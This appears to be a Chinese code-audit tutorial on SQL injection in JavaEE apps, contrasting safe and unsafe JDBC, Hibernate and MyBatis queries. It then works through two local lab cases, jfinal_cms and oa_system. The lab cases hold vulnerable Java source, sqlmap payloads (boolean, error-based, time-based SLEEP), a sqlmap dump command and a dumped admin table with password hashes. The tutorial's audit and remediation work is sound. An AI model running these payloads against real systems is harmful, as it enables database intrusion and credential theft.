JavaEE代码审计-sql注入 #
sql注入找到不安全的代码然后找到实际注入点
1:安全与不安全JDBC PreparedStatement
安全写法(预编译): "select * from admin where id=?"
不安全写法(拼接): "select * from admin where id="+id
2:Hibernate
Hibernate、JPA默认是经过预编译的,但是如果开发自己编写的SQL语句,也需要进行检查;Java是强类型语言,当注入参数为long、int等数字类型时无法进行注入;找到危险函数位置之后,向上搜索,找函数、方法调用位置,直到请求入口(controller层),判断是否存在无害化处理、无害化处理是否严格;
参考:https://mp.weixin.qq.com/s/9t3t6qxosGsKiXMIRtMoPw
安全写法:String hql = "FROM User WHERE username=:username";
不安全写法:String hql = "FROM User WHERE username='"+username+"'";
3:MyBatis
1、安全写法: select * from admin where id = #{id}
2、不安全写法:select * from admin where id = ${id}
预编译对于order by ,like 排序不能使用# 要用到美元符号
相关搜索关键字:
Statement
createStatement
PrepareStatement
like '%${
in(${
in (${
select
update
insert
delete
${
order by
setObject(
setInt(
setString(
setSQLXML(
createQuery(
createSQLQuery(
createNativeQuery
案例一: jfinal_cms-4.5.0 #
搭建选择java1.8 maven clean -> compile 编译后 打包 -> 配置数据库文件密码在src/main/resources/conf/db.properties
-> 开启tomcat配置下 你可以运行war包在tomcat下也可以自己运行
配置好后运行
首先jdbc是特定的 搜不到其他的框架那大差不差就是JDBC了
搜关键字order by
这里用了order by 没有发现预编译的函数调用查看数值哪里来的
public void list() {
TbAdviceFeedback model = getModelByAttr(TbAdviceFeedback.class);
SQLUtils sql = new SQLUtils(" from tb_advice_feedback t where 1=1 ");
if (model.getAttrValues().length != 0) {
sql.setAlias("t");
// 查询条件
sql.whereLike("username", model.getStr("username"));
sql.whereLike("qq", model.getStr("qq"));
sql.whereLike("email", model.getStr("email"));
sql.whereLike("telphone", model.getStr("telphone"));
}
// 排序
String orderBy = getBaseForm().getOrderBy();
if (StrUtils.isEmpty(orderBy)) {
sql.append(" order by t.id desc ");
} else {
sql.append(" order by ").append(orderBy);
}
public String getOrderBy() {
return StrUtils.isEmpty(this.getOrderColumn()) ? "" : " " + this.getOrderColumn() + " " + this.getOrderAsc() + " ";
}
- 假设前端用户通过请求参数传入
form.orderColumn=id'和form.orderAsc=desc,那么getOrderBy()会返回" id' desc "; - 语法变为from tb_advice_feedback t where 1=1 … order by id’ desc
attr.username 存在注入,这和 order by 注入是两个独立的漏洞点,但根源相同:用户输入未经过滤直接拼接 SQL。
sql.whereLike(“username”, model.getStr(“username”));
where 1=1 and t.username like ‘%’ AND 5356=5356#%’
注入点
POST /jfinal_cms_war/admin/advicefeedback/list HTTP/1.1
Host: 192.168.56.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Referer: http://192.168.56.1:8080/jfinal_cms_war/admin/advicefeedback/list
Cookie: JSESSIONID=D0DB3D39361956B38E1192899D19AC9C; Hm_lvt_1040d081eea13b44d84a4af639640d51=1761037584; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1761037596; HMACCOUNT=3EB8BB477261F100; session_user=adbwppgits7xZtBvvuZUfHpWYwIQiPcc8kemwIa9b1Q=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
form.orderColumn=&form.orderAsc=&form.orderColumn=&form.orderAsc=&=&attr.qq=&attr.email=&attr.telphone=&totalRecords=6&pageNo=1&pageSize=20&length=10
sqlmap--------------------------
POST parameter 'attr.username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 390 HTTP(s) requests:
---
Parameter: attr.username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: form.orderColumn=&form.orderAsc=&form.orderColumn=&form.orderAsc=&attr.username=' AND 5356=5356#&attr.qq=&attr.email=&attr.telphone=&totalRecords=6&pageNo=1&pageSize=20&length=10
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: form.orderColumn=&form.orderAsc=&form.orderColumn=&form.orderAsc=&attr.username=' AND GTID_SUBSET(CONCAT(0x7171627171,(SELECT (ELT(6916=6916,1))),0x7171767871),6916)-- pTEU&attr.qq=&attr.email=&attr.telphone=&totalRecords=6&pageNo=1&pageSize=20&length=10
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: form.orderColumn=&form.orderAsc=&form.orderColumn=&form.orderAsc=&attr.username=' AND (SELECT 7418 FROM (SELECT(SLEEP(5)))CwkB)-- OkYG&attr.qq=&attr.email=&attr.telphone=&totalRecords=6&pageNo=1&pageSize=20&length=10
---
[17:12:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[17:12:43] [INFO] fetched data logged to text files under 'C:\Users\22118\AppData\Local\sqlmap\output\192.168.56.1'
[17:12:43] [WARNING] your sqlmap version is outdated
爆破出信息
Database: jfinal_cms
Table: sys_user
[2 entries]
+--------+--------------------------+----------+
| userid | password | username |
+--------+--------------------------+----------+
| 1 | 1RHFCLt64uOOViCTzgSaww== | admin |
| 2 | ldKI9edsQVM= | testapi |
+--------+--------------------------+----------+
[17:20:27] [INFO] table 'jfinal_cms.sys_user' dumped to CSV file 'C:\Users\22118\AppData\Local\sqlmap\output\192.168.56.1\dump\jfinal_cms\sys_user.csv'
[17:20:27] [INFO] fetched data logged to text files under 'C:\Users\22118\AppData\Local\sqlmap\output\192.168.56.1'
[17:20:27] [WARNING] your sqlmap version is outdated
[*] ending @ 17:20:27 /2025-10-21/
E:\safaapp\SQLMAP>
E:\safaapp\SQLMAP>python sqlmap.py -r 1.txt -D "jfinal_cms" -T "sys_user" -C "userid,username,password" --dump
order by这种不能预编译因为他们是sql语句一部分 不是数值
修复 order by 排序注入(核心:白名单校验)
限制排序方向(asc/desc) 排序方向只能是 asc(升序)或 desc(降序),其他值均视为非法
案例二: oa_system-master #
发现mybatis搜索不安全写法
找到controller类
@RequestMapping("/")
@RequestMapping("informlistpaging")
public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
@RequestParam(value = "baseKey", required = false) String baseKey,
@RequestParam(value="type",required=false) Integer type,
@RequestParam(value="status",required=false) Integer status,
@RequestParam(value="time",required=false) Integer time,
@RequestParam(value="icon",required=false) String icon,
@SessionAttribute("userId") Long userId,
Model model,HttpServletRequest req){
System.out.println("baseKey:"+baseKey);
System.out.println("page:"+page);
setSomething(baseKey, type, status, time, icon, model);
PageHelper.startPage(page, 10);
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
List<Map<String, Object>> list2=informRelationService.setList(list);
for (Map<String, Object> map : list2) {
System.out.println(map);
}
model.addAttribute("url", "informlistpaging");
model.addAttribute("list", list2);
model.addAttribute("page", pageinfo);
return "inform/informlistpaging";
}
发送这个basekey直接传入进来的路由在根目录
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
---
Parameter: baseKey (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: baseKey=1' AND (SELECT 4561 FROM (SELECT(SLEEP(5)))sLqI) AND 'mrnl'='mrnl
---
[17:47:53] [INFO] the back-end DBMS is MySQL
[17:47:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[17:47:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 44 times
[17:47:53] [INFO] fetched data logged to text files under 'C:\Users\22118\AppData\Local\sqlmap\output\localhost'
[17:47:53] [WARNING] your sqlmap version is outdated
[*] ending @ 17:47:53 /2025-10-21/
这里是看到mybatis搜索不安全写法 进去发现实现里面没有过滤而且直接传入数值进而注入
and n.title LIKE ‘%1’ AND (SELECT … SLEEP(5) …) AND ‘mrnl’=‘mrnl%’ sqlmap注入